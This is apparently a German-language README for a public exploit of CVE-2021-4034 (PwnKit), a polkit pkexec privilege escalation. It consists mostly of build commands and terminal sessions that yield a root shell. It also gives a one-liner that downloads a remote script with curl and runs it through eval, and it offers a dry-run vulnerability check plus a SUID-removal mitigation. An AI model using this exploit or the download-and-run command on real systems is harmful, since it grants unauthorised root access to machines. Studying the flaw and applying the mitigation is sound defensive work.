
Exploit für CVE-2021-4034 (PwnKit), der eine Root-Shell über polkit pkexec bereitstellt. Enthält einen Dry-Run-Modus zum Testen der Schwachstelle sowie ein Einzeiler-Skript für die schnelle Ausnutzung.
Ein One-Day-Exploit für die Polkit-Privilegieneskalation
Führe einfach make, ./cve-2021-4034 aus und genieße deine Root-Shell.
Das ursprüngliche Advisory der eigentlichen Autoren findest du hier
Wenn der Exploit funktioniert, erhältst du sofort eine Root-Shell:
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Ein Update von polkit auf den meisten Systemen patcht den Exploit, daher erhältst du die Nutzungshinweise und das Programm beendet sich:
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Um keine Shell auszuführen, sondern nur zu testen, ob das System verwundbar ist, kompiliere das Ziel dry-run.
Wenn das Programm mit der Ausgabe „root“ endet, bedeutet das, dass dein System für den Exploit verwundbar ist.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
Wenn dein System nicht verwundbar ist, gibt es eine Fehlermeldung aus und beendet sich.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (früher PolicyKit) ist eine Komponente zur Steuerung systemweiter Privilegien in Unix-ähnlichen Betriebssystemen. Es bietet eine organisierte Möglichkeit für nicht privilegierte Prozesse, mit privilegierten Prozessen zu kommunizieren. Es ist auch möglich, polkit zu verwenden, um Befehle mit erhöhten Privilegien auszuführen, indem der Befehl pkexec gefolgt von dem auszuführenden Befehl (mit Root-Berechtigung) verwendet wird.
Du kannst das System einfach mit einem einzigen Skript ausnutzen, das mit diesem Befehl heruntergeladen und ausgeführt werden kann:
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
Wenn für dein Betriebssystem keine Patches verfügbar sind, kannst du als vorübergehende Gegenmaßnahme das SUID-Bit von pkexec entfernen.
# chmod 0755 /usr/bin/pkexec
Der Exploit schlägt dann fehl und meldet, dass pkexec das
setuid-Bit gesetzt haben muss.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root